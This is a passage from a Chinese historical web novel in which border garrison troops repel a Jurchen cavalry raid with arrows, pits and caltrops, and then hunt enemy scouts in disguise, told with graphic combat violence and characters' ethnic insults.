他盘算着:先拿下这个看似毫无防备的戍堡作为据点,再等那些卑贱的“汉奴”抵达过河,便可肆意扫荡铺堡,抢夺粮食人口,满载而归。
这位自诩为草原雄鹰的勇士却不知,猎人的目光早已将他锁死!
“他娘的,汉人懦弱,胆小,狡猾。”望着矗立在三十多米土坡顶端的燧台,扎哈尔勒马张望,习惯性地低声咒骂,眼底掠过残忍的快意。
他猛地向后挥手,发出夜枭般的短促呼哨。
三十名身手最为矫健凶悍的汉子立即下马,腰挎弯刀,背负绳索,如鬼魅般向陡坡潜行。
他们经验老到,意图悄无声息地攀上堡墙,割开戍卒的喉咙,先占领烽火台,不惊动一人。
黑影已蠕动到陡坡下方,即将踏上坡体时——
就在此刻!
“轰!轰!轰!”
燧堡墙头,一个接一个的巨大火盆被猛然点燃。
炽烈的火焰骤然腾起,越烧越旺,橘红的光焰如同愤怒的神祇之眼,瞬间将黑暗撕得粉碎。
也将坡下那群正准备攀爬的鞑子刺客,赤裸裸地暴露在强光之下。
突如其来的光明如同毒针,狠狠刺入他们的眼睛。
潜行者们下意识地抬手遮挡,不少人眼睛流泪,甚至叫唤,心头瞬间被巨大的恐慌攫住。
“不好!快…快撤——!”百多米外,扎哈尔瞳孔骤然收缩成针尖,破音的嘶吼喷薄而出。
可是,太迟了!
“听我号令,齐射——!”
秦大壮炸雷般的怒吼压过风声,响彻了夜空。
“按计划行事,两轮速射,射完蹲下,举盾——!”
“嘎吱、嘎吱”声响,等候多时的五十戍卒,张弓如满月,冰冷的箭镞直指坡下慌乱的羔羊。
边关戍卒,射术几乎是刻进骨子里的本事!弯弓搭箭,引而不发,他们的手指稳如山岩。
随着令下,齐齐松手、抽箭。
“嗡——!”
弓弦震荡的闷响汇成一片。
下一刻,密集的箭矢带着尖锐的破空厉啸,如同汹涌的铁流,铺天盖地倾泻而下。
南河堡戍卒配备的制式硬弓本就强劲,经鲁大匠改良更换弓片,省力,威力更是提升了两成。
“噗嗤,噗嗤,噗嗤……”
利刃入肉、筋骨碎裂的瘆人声响连绵不绝!凄厉到变调的惨嚎划破夜空。
第一波箭雨覆盖之下,最前面十多名鞑子瞬间被扎成了血肉模糊的刺猬,哼都来不及哼一声,便栽倒在地。
紧随其后的刺客魂飞魄散,转身欲逃,第二波更疾更猛的箭雨已当头罩下。
眨眼间,三十名精心挑选的夜袭好手,横七竖八地倒毙在土坡之下,鲜血在月光下汩汩流淌,浸染冻土。
“嗷——,该死,还击!给我杀光这群汉狗。”
扎哈尔目睹自己最精锐的亲兵被当鸡仔般射杀,额头青筋暴跳如雷,眼珠瞬间血红。
他一把摘下背上的强弓,弓弦瞬间被拉至满月,箭簇指向堡墙火光。
身后百多女真骑兵亦是怒不可遏,同样暴怒弯弓。
密集的箭雨带着复仇的尖啸,狠狠射向堡墙!
“举盾——!”戍卒经验丰富,秦大壮的命令及时。
戍卒们闻令,瞬间消失在垛口之后,头顶响起一片“咄咄咄咄”的钝响。
鞑子的箭矢,要么深深钉入厚实的夯土堡墙,要么被戍卒们严丝合缝举起的包铁皮盾牌牢牢挡住。没有一根箭矢能威胁到墙后的身影。
“哈哈哈……鞑子狗!”
“女真蠢猪,滚回你的猪圈啃泥巴去吧——!”
墙后,几个粗通女真话的戍卒放声狂笑,各种刻毒到极点的污言秽语、侮辱性绰号,如同刮骨的冰刀子,顺着风狠狠刮进扎哈尔的耳中!
“猪尾巴,狗杂碎。”
“长生天派你们这群废物来送死吗?”
“嗷——!!”扎哈尔只觉得一股腥甜直冲喉头。
这奇耻大辱如同烈火灼心!
什么第一勇士的骄傲在泼天的羞辱面前被碾得粉碎。
“啊…”他发出一声野兽般的癫狂嘶吼,腰刀疯狂劈砍着空气,声音因暴怒而扭曲变形。
“进攻,给老子踏平这个土堆!”
第35章 破狼骑,烽火起
“哈哈哈……女真狗,猪尾巴!”
“来来来,你这狗东西来推瓶土堆把!”
烽燧堡内狂笑声响彻黑夜,戍卒们鼓噪呐喊。嘴皮子狂甩,脏话连篇,极尽挑衅之能事。
“杀——!”
扎哈尔目眦欲裂,暴怒咆哮如同疯狼嗥月。
“杀,杀光汉狗,一个不留——!”
在他癫狂的驱使下,身后百多名余怒未消的女真骑兵发出野性的呼号,纷纷策动战马。
他们一部分在后面弯弓搭箭,对着堡墙狂射压制,一部分直接选择了最蛮横的方式——冲坡。
数十铁骑迂回狂奔,加速,加速,践踏着冻土。
轰隆隆,蹄声如雷,如同汹涌的黑色怒潮,沿着并不宽敞的斜坡,悍然扑向三十多米高的燧堡。
“找死!”墙垛后,秦大壮眼中寒光一闪,脸上毫无惧色,反而露出一丝早已等候多时的狠厉。
“稳住!听老子的!让他们尝尝陷马坑和铁蒺藜的滋味儿。”
这是秦猛前几天亲率众人,顶着凛冽朔风抢挖、布置的杀场。就是为了应对鞑子的骑兵冲锋。
冲在最前头的女真精骑,狂催战马,嗷嗷怪叫着,意图凭借马力一举冲上坡顶,再跳跃攀爬。
就在战马高速冲刺、即将提升至坡顶爆发力的一瞬——
“轰隆,咔嚓!”
“唏律律——!”
凄厉至极的马嘶与沉闷的坍塌声同时炸响!最前方的几匹健骑前蹄踩入陷马马坑,这坑洞不大,恰好大过马蹄,马儿被绊,连人带马栽倒。
后面的马匹刹不住车,被摔飞,落入插满削尖木桩的大坑里,战马沉重的身躯带着巨大的冲力狠狠砸下,木桩瞬间刺穿马腹、顶碎马骨。
马上的骑士猝不及防,一同摔入坑,眼睁睁看着自己身体被木刺扎穿,发出绝望的惨叫。
多处陷马坑发挥作用,后面的战马收势不及,连环相撞。冲锋的势头被遏制,顿时乱作一团。
“不好,有坑,停下,停下!”后面的骑士惊恐大呼,拼命勒马。
然而,临阵混乱已如瘟疫般蔓延。
冲势稍缓的后队刚想绕开前方的血肉地狱,马蹄踏上缓坡更远处的冻土地面——
“噗嗤,噗嗤!”
更加密集而让人心寒的、锐器刺入马蹄角质的声音响起。
秦大壮让人在陷马坑外围,尤其是骑兵冲击最可能选择的冲刺线路上,撒下了尖棱铁蒺藜。
这些边军惯用的手段之一。
专为无蹄铁游牧骑兵准备的恶毒陷阱,此刻展现出骇人的杀伤力。
数匹健马吃痛之下,当即前蹄一软,马失前蹄,或人立而起,巨大的惯性将背上的骑士狠狠掼向前方。
运气差的脖子直接扭断,哀嚎不断。运气好摔个七荤八素的,却暴露在毫无遮蔽的缓坡上。
更多的马匹被铁蒺藜扎伤马腿,剧痛让它们惊恐地嘶鸣、跳跃、打转,完全打乱了队伍的阵型。
整个冲锋集群在短短几十米的缓坡中央彻底陷入了混乱和恐慌。
“给老子射!”秦大壮抓住这千载难逢的机会,怒吼声响彻夜空。
“稳住箭!别让这帮狗鞑子有喘息的机会!”
墙垛之上,憋着一股狠劲儿的戍卒们终于露出了獠牙。
他们不需要瞄准,只需将手中强弓拉至半满,对着下方那片挤作一团、人喊马嘶的混乱区域——
“嗡——!”
急促的两波箭雨破空而出!
箭矢如同夏日的毒蜂群,嗡嗡作响,争先恐后地扑入混乱的鞑子骑兵之中。
没有了整齐的阵型、高速的冲击力作掩护,混乱的人群和马匹成了最好的箭靶。
“噗、噗嗤……啊——!”
“我的腿!呃——!”
“马惊了!快拉住它!”
凄厉的惨叫声、濒死的马嘶声、惊怒的咒骂声瞬间交织在一起。
火光映照下,可以看到混乱的人群中不断有身影中箭落马,鲜血如同泼墨般溅射在冰冷的冻土上。
染血的箭羽随处可见!
先前族人的鲜血尚未干涸,新的血河已然在坡上蔓延、汇流,刺鼻的血腥气和恐惧感迅速弥漫开来。
“撤——!快撤下来!!”
扎哈尔的双眼几欲滴血,他看着自己精心挑选的精锐部下,像蠢猪一样陷入对方的陷阱,在敌人箭雨下如同牲口般被屠戮,心如刀绞。
他虽然暴戾,但能成为图鲁木部第一勇士,绝非纯粹的蠢货。
这燧堡分明是早有准备!
依托高坡地利,陷阱密布,自己手下这点人手,根本不可能在短时间内强攻得下来。
再待下去,只能是无谓的送死。
“鸣哨,收兵,撤回来!!”扎哈尔的声音嘶哑,带着前所未有的屈辱和狂暴。尖锐的骨哨声刺破喧嚣。
残余的女真骑兵如同听到了天籁,如蒙大赦般,带着伤员和惊魂未定的战马,丢下坡上横七竖八不下五十具人马尸体,仓皇如丧家之犬,狼狈不堪地退出了戍堡弓箭的有效射程。
他们在火光之外重新集结,马匹不安地刨蹄。
骑士们满身血污泥泞,惊魂未定地看着坡顶那座在火光中如同狰狞巨兽的燧堡,眼中充满了恐惧和后怕。
“呜~~~呜~~~”一阵悠长而古怪的嘲笑从墙垛后传来,显然是戍卒在模仿女真人的鸣哨退兵号。
接着就是更高亢的、混合着汉话和生硬女真语的讥讽谩骂:
“猪尾巴,怎么夹着尾巴跑了?”
“长生天也救不了你们这些蠢猪!”
“来啊!爷爷的箭管够,够射你们这些狗鞑子一个冬天了。”
……
听着这些诛心的辱骂,扎哈尔气得浑身发抖,牙齿咬得咯咯作响,几乎要咬碎!
但他死死攥着马缰,强行遏制住自己再次冲动的念头。
墙垛后,秦大壮那满是尘土和汗渍的脸上,憨厚的大脸上却绽放出前所未有的亢奋与自信。
他看着坡下那片狼藉的战场,数十具鞑子尸体横陈。这种场面是他守堡十年都没遇到过的。
耳边是同袍们此起彼伏、夹杂着粗口却充满底气的哄笑声,这汉子胸中一股豪情喷薄而出。
“兄弟们——!”秦大壮猛地将手中血迹未干的长刀指向夜空,声音洪亮得能震动墙砖。
他几乎是吼出了秦猛管队官常常挂在嘴边的话:
“都看见了没?管队说得对,大家都是两个肩膀扛一个脑袋。
鞑子照样是白刀子进去红刀子出来,没什么好怕的。”
“他们就是一群披着狼皮的狗!仗着马快欺负软柿子!”
“真打起来,有了准备,有了这堡墙,他们就得给咱们跪下磕头!”
“咱们戍堡的爷们儿,是好样的!!”
这振聋发聩的吼声,仿佛在每一个戍卒胸中点燃了一把火!长久以来,他们面对鞑子多是守备、挨打、被动防御甚至惨遭屠戮的记忆。
从未像今天这般酣畅淋漓地痛宰对手。
秦大壮转述上官的话语,结合这眼前血淋淋的战果,瞬间点燃了所有人心底最深沉的勇气和骄傲。
之前那种面对鞑子的恐惧、颓丧气氛被一扫而空。
每个戍卒都挺直了腰杆,如饿狼般盯着鞑子们,眼中闪烁着劫后余生的兴奋和舍我其谁的凶狠!
“烧他娘的狼烟,快点!”秦大壮吼道。
“烽火越烧越旺,吹响号角,通知附近铺堡,村镇。有鞑子大队过界了!让他们都支棱起来!”
“关门,上墙,亮刀子!”
“狗鞑子敢来,就照着坡下这帮死狗的样子,给老子狠狠的打!”
几捆早已备好的、混着狼粪的柴草被迅速点燃,投入墙头巨大的烽燧中,浓烈的黑烟裹挟着火光犹如火龙,瞬间拔地而起,直冲云霄。
在这清冷昏暗的冬夜之下,这道笔直、喷吐着火星的黑色烟柱,清晰得如同刺向天际的矛锋。
它在无言的宣告:
烽火已燃,敌寇已至!
小南河堡上下,准备杀鞑子!
……
“快,鞑子来了,准备作战!”
南河堡,队长李山,刘铁柱见到燧堡烽火,召集军卒迎战,王保长则冷静地让妇孺躲藏好……
“驾…驾……”
夜色浓稠如墨,寒风如细碎的刀子抽在脸上生疼。
秦猛率领队伍,顶着刺骨的严寒,奋力催马,朝着轮廓在黑暗中若隐若现的军堡方向狂奔。
沉重的马蹄叩击着冻硬的土地,发出闷雷般的回响。
眼看就要抵达——
“呜——呜——呜——!”
凄厉又充满惶急之意的号角声,猛然撕裂了黎明前的寂静。
那绵长的号声来自烽燧堡方向,在空旷死寂的寒夜里激荡、扩散、回旋,如同一把冰冷的凿子,狠狠钻入每个人的耳膜,直捣心窝。
“大人快看!”后面军汉嘶声呼喊,难掩惊慌。
众人循声望去!
只见烽燧堡所在的方位,天空已被一片令人心悸的火红染透!在青灰死寂的天幕映衬下,那道从烽燧顶端冲天而起的光柱,格外醒目。
——烽燧示警!狼烟燃起!异族寇边!
“两声长号,两百左右。”张富贵咬牙切齿地骂着。
“走,去燧堡,靠近些看看!”秦猛声音低沉,压下心头澎湃的杀意,一挥马鞭,当先冲出。
队伍紧随其后,战马奔驰带起的寒风更显凌厉。
第36章 狂妄与狩猎
夯土筑就的燧堡堡墙在冲天火光下忽明忽暗。紧闭的高大堡门仿佛一张惊恐合拢的巨口。
堡墙下的土坡上,触目惊心的暗红浸透了冻土。
尸体横七竖八地倒伏着,坑里被扎穿身体的马儿抽搐哀鸣,被寒风吹走最后的挣扎与绝望。
堡外,约莫数十骑女真精锐策马徘徊,如同嗅到血腥的群狼。
他们面目狰狞,说着蹩脚的汉话,朝堡墙上张狂地大声叫骂着。污言秽语混杂着听不懂的胡语。
反过来极尽挑衅戍卒们,却忌惮于缓坡上的陷阱和堡墙上严阵以待的弓弩手,不敢冲锋强攻。
唯独一名魁梧异常的女真汉子,座下一匹通体如墨、神骏非凡的巨马,在堡墙下耀武扬威。
正是部落头号勇士扎哈尔。
他比秦猛生擒的女真猛安兀鲁思还要高出半头,魁梧身躯披着铁板甲,仿佛一尊移动的铁塔。
他猛地一夹马腹,战马如一道黑色闪电冲向堡门!
进入箭矢射程瞬间,他猿臂舒展,弓开满月,图鲁木部酋长送的宝雕弓被拉得吱嘎作响。
“嘣!”弓弦炸响,一支黑翎重箭带着锐啸钉入堡门旁夯土墙,箭头深没,尾羽剧烈震颤。
“哈哈哈……汉狗!”扎哈尔侧身避过堡上乱箭,调转马头扬长而去,嚣张大笑在火光中回荡。
燧堡土墙上,队将秦大壮脸色铁青,握刀的手指因用力而指节泛白,牙齿咬得咯咯作响。
“直娘贼的鞑子!”众军汉大骂。
这,是赤裸裸的挑衅,是在边军脸上抽耳光。
奈何,大周虽富庶,却不产高大战马。
小小边墩仅三匹堪用战马,比不过马背上长大的蛮夷部落。
此刻只能依托燧堡,像缩壳的乌龟,任对手耀武扬威。
堡外的女真鞑子忌惮强攻损失,分股在周围策马兜圈、不时冲近燧堡,狂笑怒骂,肆意挑衅。
试图激怒守军野战,再以铁骑屠戮。
距燧堡二百米之外,枯黄蒿草覆盖的林带里,一双眼睛锐利如鹰隼,透过枝叶盯住堡外一切。
是秦猛,率队来到附近林子,他独自一人摸近,查看燧堡的情况,并没有危险,心头稍安。
但,更沉重的忧虑瞬间攫住他。
这支女真骑兵最多四五十骑,对烽燧示警时,两声长号,两百人的规模而言,太少了!
他扫过开阔地与远处丘陵,答案呼之欲出。
——鞑子领队扎哈尔吃了暗亏,见烽燧点燃知强攻不易,分出主力,少部分人牵制住燧堡。
大股骑队定在搜寻附近村堡屯庄,不仅要用汉人的鲜血浇灭怒火,而且可以逼对方来援。
只要出堡,女真勇士的战马和弯刀无可阻挡。
——这是勇士扎哈尔想到的法子,为此沾沾自喜。他还认为只要三五个人就能劫掠汉人村坊。
秦猛看到坡上的尸体后,也猜到大概。他心里一突,瞬间想到小南河堡,陈月娘和小芸!
就在他越想越焦虑、准备退走,立刻折返的刹那,余光瞥见低洼草坡下有三骑女真游哨靠近。
他们呈品字形,马蹄踩着冻土搜寻,孤零零三骑。明显就是散开寻找附近铺堡,村坊的小队。
秦猛眼神越发冰冷,夹杂着杀机。
三个…?
以为分兵就能亮后背给汉人?
真当汉人的刀都锈了?以为戍卒只会龟缩防守?
这些鞑子,近些年越发猖獗,狂妄到令人发指!
秦猛深吸几口凛冽寒气,强行将焦躁与牵挂压回心底。锁定三个游骑,嘴角勾起冷酷的笑。
三个…只要动作够快、够狠、够隐蔽。他弓下腰背,融入蒿草与乱石阴影,如贴地滑行的毒蛇。
每一步都踩在最静音的支点,每一次移动都卡在对方视野空隙。
寒霜浸透衣裤刺骨冰凉,他毫不在意,屏息凝神,感官凝聚极致,眼眸只剩越来越近的目标。
三骑趟过未冻结的泥泞滩涂,马蹄带起枯叶。
连续紧张搜寻让他们精神松懈,目光投向远处,低声交谈着,对不足十步的杀机毫无所觉。
当最右侧女真骑兵的坐骑绕过半人高的苔藓巨石时——
石后阴影里,秦猛如猎豹般弹射而起。
他左手如铁钳捂住对方嘴鼻,右手横刀刀尖向上,角度极为刁钻,捅入胸甲下肋骨缝隙。
噗嗤!利刃破甲入心脏,手腕猛拧。
“嗬…!”女真兵眼球暴突,身体剧烈一挺,如离水的虾,指缝挤出绝望气音,瞬间瘫软。
“该死…”左侧同伴闻声惊觉,瞥见异常欲吼,手摸箭囊欲抽箭。
秦猛动作更快!旋身拧腰如释弦强弓,右臂甩动,早就握在手中的沉重柴刀高速旋转射出。
嗡——!柴刀带死神尖啸,寒光一闪!
噗!咔!
刀锋斩入第二名女真兵脖颈,劈开皮肉与颈骨。
鲜血喷溅,半声怪响戛止,身体如木偶滑下马背,只剩无意识抽搐。
“去死!”最后一名女真兵惊骇嘶吼,调转马头,抬弓欲射绝望一箭。
秦猛解决第二人的瞬间,右脚蹬地如强弩劲矢,直扑第三骑。
对方弯弓搭箭指向他时,秦猛已抢步马侧,俯身捞住剧烈甩动的马尾,发力狠扯,猛拽。
“唏律律——!”战马剧痛长嘶,臀部下挫。
马背上女真兵失衡后仰。
秦猛双足发力,如怒虎撞入对方怀中。
砰,两人如滚地葫芦摔落冻土,激起尘土枯叶。
秦猛落地,揪住对方的领口,将其死死压住。
在对方瞳孔映出敌人冰冷杀意时,在惊恐嘶吼冲至喉咙口瞬间——砂锅大的拳头迅速放大。
秦猛的拳头凝聚千斤力,如攻城锤砸向对方喉结。
咔嚓!令人牙酸的骨裂声响起,
女真兵的惨叫被摁在喉咙中,双眼暴凸满是惊骇,身体僵直后剧烈抽搐,彻底失去生机。
静!
冰冷空气里弥漫开铁锈与腥膻的浓烈气味。
三具尸体横陈泥泞冻土,鲜血染红了大片腐叶。
秦猛胸膛起伏着,每口呼吸都带白气。
他抹了一把溅到脸上的泥浆与血污,冰冷的眼神扫过四周。远处烽燧堡的喊杀,叫骂依旧。
“大人,大人!”张富贵等军汉终于策马赶到。
他们在后方林子里等待消息,听到这边传来短暂而激烈的打斗声,便拼命打马赶来救援。
然而,他们火速赶来,却是三具鞑子尸体、刚刚起身,浑身煞气的秦猛。以及透过林子目睹几乎是呼吸之间,秦猛击杀三个鞑子的场景。
寂静的杀戮现场冲击力十足。
张富贵等人一时哑然,看向秦猛时,眼中敬畏更甚,
“这群鞑子狂妄没边,三人一队,正好猎杀,就这样杀。”秦猛看向张富贵等人,声音如同冰坨子般砸在地上,带着不容置疑的决断。
“你们,穿着鞑子的皮袄袍子,挂着他们的弯刀弓箭。现在!立刻!分成两队,像他们一样,牵着马,东张西望,做出搜寻的样子。”
他语速极快,条理清晰:“一队在前,伪装靠近。另一队拉开二十步左右距离,策应断后。
遇到零散的鞑子小队,直接贴过去,让他们放松警惕!接近到十步内,立刻动手。动手要快,要狠,要准!绝对不要留活口,明白吗?”
“明白!”
“明白!大人!”这群边堡汉子脸上最初的惊骇褪去,取而代之的是一种被血腥激起的、混合着恐惧与兴奋的火焰。
他们是被秦猛调教过,看着秦猛几乎瞬间杀三人的雷霆手段,他们胸膛里的血也渐渐沸腾起来。
秦猛迅速将三具还在渗血的尸身拖起,横搁在收拢回来的鞑子战马背上,又将六匹马的缰绳牢牢拴在几棵粗壮树干旁的浓密阴影里。
“这些鞑子马都是好脚力,金贵得很。咱堡骑兵就靠它,拴紧实了。别让它们受惊乱跑。”
秦猛拍着健壮的草原马,厉声嘱咐。
“我往左,你们往右!”秦猛一把拉过张富贵递来的缰绳,翻身上了自己的枣红马,马鞭指向铺堡方向。
“鞑子主力很可能去袭扰村坊铺堡了。找到他们,用我们刚刚的方法,削弱他们的力量。记住,我是猎手,你们也是,别给老子怂了!”
他最后盯了众人一眼,猛地一夹马腹。
“左右环绕一圈,我回前堡,你们去后堡方向。”
话音未落,枣红马马一声长嘶,人立而起,随即如同一道离弦的红色闪电,朝着铺堡方向狂飙而去,眨眼间,没入茂密树林的黑暗……
第37章 猎杀进行时
林子里,马蹄声迅速远去!
“都听见了吗?”张富贵看着秦猛消失的方向,猛地回头。
他对着还沉浸在震惊和热血中的同伴们吼道,声音因为激动而微微发颤,“咱们作为堡精锐。不能给大人丢脸!更不能给祖宗丢脸!”
“干了!”
“学了这么久本事,不就是等此刻剁鞑子脑袋吗?”
“富贵哥,你说咋办就咋办!”
汉子们纷纷低吼应和,胸腔里只剩下昂然的战意。
他们迅速按照秦猛留下的战术要求,快速分成两队。
张富贵带着三个身手利落、心理素质相对过硬的老兵为一队。
另一队则由悍勇老卒王铁山带领四人,两队皆缴获并配备了双马,穿着刚扒下来带血的鞑子皮袍,乍一看,与女真游骑已难辨真假。
他们狠狠一夹马腹,脱离林带,朝着秦猛指定的右翼方向,如同两股奔腾的暗流,融入林带。
离开秦猛不过半盏茶的功夫,沿着一条干涸古河道边缘搜寻的王铁山队,率先发现了一小队三名女真兵。
这三人正沿着一条低矮的土埂不紧不慢地巡逻,目光扫视着前方田地,迅速向铺堡靠拢。
“呜…吁呜……”张富贵队稍落后,隔着一段距离,他努力模仿着女真呼哨,并朝着王铁山那边挥了挥手。
王铁山立刻会意,带着他那队人稍微加快了些速度,并散开,朝着那三个目标靠了过去。
对方有所察觉,勒住马缰望了过来。
夜色朦胧,距离尚远,加上张富贵、王铁山等人刻意佝偻着腰,穿着打扮又相似,并未立刻引起强烈警惕。
二十步…十五步…十步!
就在靠近到几乎能看清对方面部冷漠表情的瞬间。
“动手!”
张富贵队中一名年轻的军汉,因过度紧张,在对方审视的目光下,搭在箭弦上的手指下意识地一松。
嘣,箭矢离弦!
却只险险擦着为首那名女真骑兵的肩头飞过。
“敌袭!”短暂的惊愕后,三个女真兵瞬间反应过来,操着胡语嘶吼!纷纷去抽弯刀弯弓。
计划瞬间被打乱!
但生死关头,犹豫即是死。
“强杀!”王铁山眼中凶光暴闪。
他离得最近,胯下战马已经冲到目标右侧。
哪里还管什么完美计划?
几乎是本能地,王铁山矮身避过对方劈来的弯刀。
他左手猛地抓住对方持刀的手臂,右手的鞑子弯刀借着战马冲势和全身的力气,自下而上、从对方毫无防护的右肋狠狠捅了进去。
“呃啊——!”滚烫的鲜血溅了王铁山满头满脸。
与此同时,张富贵队也猛扑而至。
那名因紧张失手的年轻军汉,目睹同伴冲杀、敌人血溅当场,反倒被血腥激发了凶性。
他在慌乱中下意识地再次搭箭,近距离瞄准了离自己最近、正挥刀劈砍王铁山的一名女真兵。
噗嗤!
这一次,箭矢狠狠钉入了对方的眼窝。
惨叫声刚刚响起!
张富贵已从侧翼拍马冲到,手中沉重的马刀毫不留情地斜劈而下。力道之猛,竟将那正捂着眼睛惨叫的女真兵连带着半截臂膀一同斩落。
最后一个女真兵见同伴瞬间惨死,心胆俱裂,拔马就想跑。
“拦住他。”张富贵急吼。
旁边一个军汉慌忙从背后摘下硬弓,仓促射出一箭,却因用力过猛失了准头,仅仅钉在那人坐骑的后臀上,战马吃痛嘶鸣,前蹄失蹄。
但也正是这片刻的迟滞,另一名王铁山手下的老兵已经从后面追到,俯身一刀,狠狠剁在了落马女真兵的后颈。
噗!人头翻滚。
战斗结束,干净利落。
然而众人都是气喘如牛,心跳如鼓。
张富贵瞪着那名年轻军汉:“狗娃,手要稳,心要狠!”
“我…我记住了,富贵哥!”小伙狗娃看着地上的尸体和血迹,脸色煞白,但眼神渐渐变得凶狠起来。
稍作喘息,拴好马匹。两队重新拉开距离。
这一次,他们配合更为沉稳。
很快,在靠近一片稀疏矮树林的边缘,再次发现一小股两骑女真兵。
张富贵打手势,王铁山队照例主动靠近。
两骑鞑子兵估计落单迷路,显然警惕性高了许多,远远看见人影移动便勒马不动,大声喝问。
王铁山队中一名懂几句粗浅胡语的军汉壮着胆子,按照之前想好的应对之辞,含混地回应着,说着中途相遇,脚下马速不减继续靠近。
五步…
眼看对方稍有松懈,王铁山低吼:“射。”
他队中两人早已搭箭在手。两箭齐发。
噗!噗!
一箭精准贯入其中一人面门,另一箭虽偏了稍许,射中肩膀,却也将对方射得滚下马来。
此时,张富贵队已从侧后方散开包抄到位。
那名落马的女真兵挣扎着还想用角弓反击,被包抄而至的五骑军汉夹在中间,刀矛齐下,瞬间被砍中脖子,戳穿胸膛,了结了性命。
另一名被射倒的女真兵尚未断气,试图爬起拿武器。
张富贵策马赶到,毫不犹豫俯身一刀,斩断了他的脖颈。
整个过程无声无息,只有兵刃破空和倒地的闷响。
“继续!”稍作休息后,张富贵再次带人开始猎杀。
……
秦猛这边,与众人分开,化作密林里的人形修罗。
他的目光如同猎鹰般锐利。
很快,一支三人的女真鞑子队出现在视野中。这队人正沿着河岸稀疏的树林边缘靠近铺堡。
“呜哇,乌拉…”秦猛催马加速,喉咙里模仿着女真人粗嘎的呼哨,枣红马疾驰向他们靠近。
为首的一个女真兵似乎听到了马蹄声和呼喝,诧异地回头张望。
就在双方距离拉近到不足二十步,那三人不认得秦猛,他们脸上明显露出疑惑表情的瞬间。
嗡——!弓弦惊颤的嗡鸣。
噗嗤!
一支利箭带着刺耳的破空声骤然射出,如毒蛇吐信。
目标赫然是对方一只瞪大的眼睛。
锥形铁质箭头旋转着,轻易贯穿眼球、直没入脑。
“啊——!”惨绝人寰的哀嚎刚刚出口,秦猛已纵马冲至。借着马匹前冲的惯性,他手中的弯刀划过一道耀眼的、带着冰冷月牙弧光的弧线。
喀嚓!
利刃斩断骨骼的闷响。
一颗头颅带着喷溅的血泉冲天飞起,无头的尸体轰然坠马。
另外两人这才惊觉骇变。
其中一个反应稍快,下意识弯弓搭箭,但枣红马快,秦猛没给他机会,一拳打中他的面门。
那女真兵惨叫一声,身体不受控制地向后仰倒,秦猛拨转马头,手腕翻转,弯刀寒光闪烁,顺势一抹,对方的脖子便被利落地切断。
最后一人眼中满是恐惧,哆嗦着手想弯弓搭箭,可惜越急越出错,弓弦几次都没能挂上箭簇。
秦猛却狞笑着,已经拍马冲来,手中弯刀力劈而下,干脆利落地砍掉了他的脑袋!
依靠着血腥高效的突袭战术,再加上超强的视觉,他如同黑夜中最致命的猎手,又如同跗骨之蛆,连续拔掉了另外三支落单的女真小队。
秦猛摒弃了所有花哨,将“伪装接近、暴起发难、一击必杀”的要诀发挥到淋漓极致。
马蹄翻飞,刀光闪烁,真正发挥出了战马和弯刀的威力!
事实证明,只要装备好,汉人同感,能够肆虐草原!
秦猛的脸颊、手臂、衣甲已被一层又一层粘稠而尚未冷却的鲜血反复浸透、板结凝固。
枣红马原本油亮的黄鬃毛上,也凝结着大片暗紫色的血块和泥垢,散发着浓烈的死亡气息。
秦猛浑身透着杀气,眼神却越发沉静,沉静之下是冰封万尺的杀机,只为锁定下一处目标。
就在这时!
铺堡方向,那个他牵挂至极、却因猎杀而稍稍远离的方向。
一簇新的、更为浓烈更为刺目的火光,猛地腾空而起。
——那火光分为前后两处,猩红暴戾,犹如地底喷发的熔岩,瞬间将这最黑暗的黎明点亮。
紧接着!
“哐!哐哐哐!哐哐哐…!”
一阵阵急促得如同催命符、几乎连成一线的铜锣敲击声。
隔着数里之遥,被凛冽的晨风撕扯着,清晰的、狂暴的、无比刺耳地敲击着秦猛的耳鼓。
是铺堡,是堡子里召集所有青壮,拼死抵挡的信号。
军堡遇袭,陈月娘!秦小芸!
秦猛的心脏骤然被一只无形巨手攥紧。一股不可抑制的愤怒迸发,心脏扑通扑通狂跳着。
“月娘!小芸!”秦猛声音沙哑。
再无犹豫,再无他念,猎杀终止!
“驾!!!”秦猛猛地勒紧马缰,枣红马人立而起。
他双脚重重一夹马腹,几乎将全身的力量都倾注下去。枣红马吃痛之下,速度飙升到极致。
下一刻!
枣红马四蹄腾空,化作一道裹挟着浓烈血腥与疯狂杀意的紫红闪电,朝着火光之地奔去。
寒冷、疲劳、远处的厮杀…一切都被抛在了身后。
整个世界,似乎只剩下前方那片猩红的火光!还有火光中,那两个秦猛说过要守护的身影!
张富贵等人,亦是如此。
正在猎杀的队伍,看到军堡点燃烽火,正不顾一切地扑向堡后门!铁蹄践雪,杀意盈腔。
边陲之地,鞑子劫掠。
为了守护家园,不惜一切代价。
血火焚夜,大幕已启。注定不是你死,就是我亡!
第38章 边堡守卫战
朔风如刀,撕裂了寂静的黑夜!
小南河堡的夯土高墙在月色下泛着冷硬的光,成了守护堡内军民的最后屏障。
堡外的嘶吼和箭啸混成一片,带着血腥气的风灌进每个人的耳朵。
像一张无形的网,死死罩住了这座前沿边陲小堡。
全堡上下拼了几天,才把这夯土墙抢修到两丈多高!
外头稀疏的木栅早换成了碗口粗的大圆木,带着锋利的尖头深深扎进冻土里,密密麻麻如同獠牙。
原本单薄的大门包了手腕粗的粗铁条,里头更是用几块磨盘大的石头死死顶住,缝隙里还塞了夯实的泥土。
这每一寸加固,都是用血汗堆起来的救命根!
女真鞑子最会趁黑摸营翻墙,往日里靠着矫健的身手和精准的攀援技巧,总能在边堡防御的薄弱处撕开缺口。
可今夜,这两丈高的土墙像一道天堑,把他们的老招全废了。
战马再神骏撞不塌,也蹦不上去。
擅长攀爬的勇士踩着同伴的肩膀也够不到墙头。
逼得他们只能把怒火全撒在前后两个门洞上。
——那就是拿命往窟窿眼里填!
堡里最能打的兵被秦猛调走了八九成,如今堡里能用的老兵只剩下五六人,其余都是些征召不足十日的新兵,训练时间短,难有大用。
什长李山和老兵刘铁柱只能硬着头皮,咬着牙顶上。
两人分守两门,嗓子早就喊得冒烟。
李山把着前门这个最要命的窟窿眼!
他个头不高却身板结实,此刻额头青筋直跳,扯着破锣嗓子在墙头上吼:“都给老子绷住了,弓箭别瞎放,等鞑子靠近了,再射。”
“滚木、大石头都预备好。听我号令,再往下砸。”
“烧滚的水盯着点,谁敢伸头往外看,鞑子狗的箭可不认人,小心脑袋上多个窟窿眼。”
见几个新兵蛋子吓得腿肚子打颤,他又放缓了语气,带着狠劲鼓劲:“慌个屁?烽火早就烧起来了,援军眨眼就到。顶住这阵子就有活路。”
“谁要是怂了,老子先劈了他,免得事后被杀。”
